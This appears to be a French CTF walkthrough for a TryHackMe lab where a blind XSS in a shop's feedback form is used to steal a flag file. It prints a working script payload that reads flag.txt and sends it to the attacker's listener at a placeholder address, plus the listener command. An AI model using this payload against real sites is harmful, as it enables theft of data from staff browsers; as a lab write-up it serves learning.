THM Sticker Shop Walkthrough
Système : Linux | Difficulté : Facile | Exploitation : Blind XSS
Lien vers le challenge : The Sticker Shop
Description du Challenge
Votre boutique locale de stickers a enfin développé son propre site web. Cependant, les développeurs manquent d’expérience en développement web. Résultat : le site est développé et hébergé sur le même ordinateur que celui utilisé pour naviguer sur Internet et traiter les retours clients.
Le but est d’exploiter le site pour lire le contenu du fichier flag situé à l’adresse suivante :
http://X.X.X.X:8080/flag.txt
Reconnaissance
Analyse
Le site web se compose de deux pages : Home et Feedback.
L’analyse doit donc se concentrer sur le formulaire de retour d’expérience (Feedback).
Contexte de la Vulnérabilité
Le formulaire Feedback permet aux utilisateurs de soumettre des commentaires. Ces données sont ensuite affichées dans le navigateur de l’équipe de gestion. Ce comportement expose l’application à une vulnérabilité de type Blind XSS.
En injectant du JavaScript malveillant dans le formulaire, un attaquant peut compromettre les données sensibles ou les fonctionnalités du système cible.
Processus d'Exploitation
1. Configuration d’un Listener
Pour capturer les données exfiltrées, un serveur HTTP est configuré sur la machine de l’attaquant :
python3 -m http.server 8000
Ou bien, si vous utilisez toujours python2
python -m SimpleHTTPServer 8000
Ce serveur écoute les requêtes entrantes contenant les données exfiltrées.
2. Création de la Charge Malveillante
L’objectif de l’attaque est double :
Voici la charge utile injectée :
'"><script>
fetch('http://127.0.0.1:8080/flag.txt')
.then(response => response.text())
.then(data => { fetch('http://<ADRESSE-IP-MA-MACHINE>:8000/?flag=' + encodeURIComponent(data)); });
</script>
Lecture du Flag
Le contenu de flag.txt est encodé en Base64. Pour le décoder, vous pouvez utiliser la commande suivante dans votre terminal :
echo <flag_base64> | base64 -d
Alternativement, vous pouvez utiliser un outil en ligne tel que CyberChef ou dencode.com pour coller la chaîne encodée et obtenir la version décodée.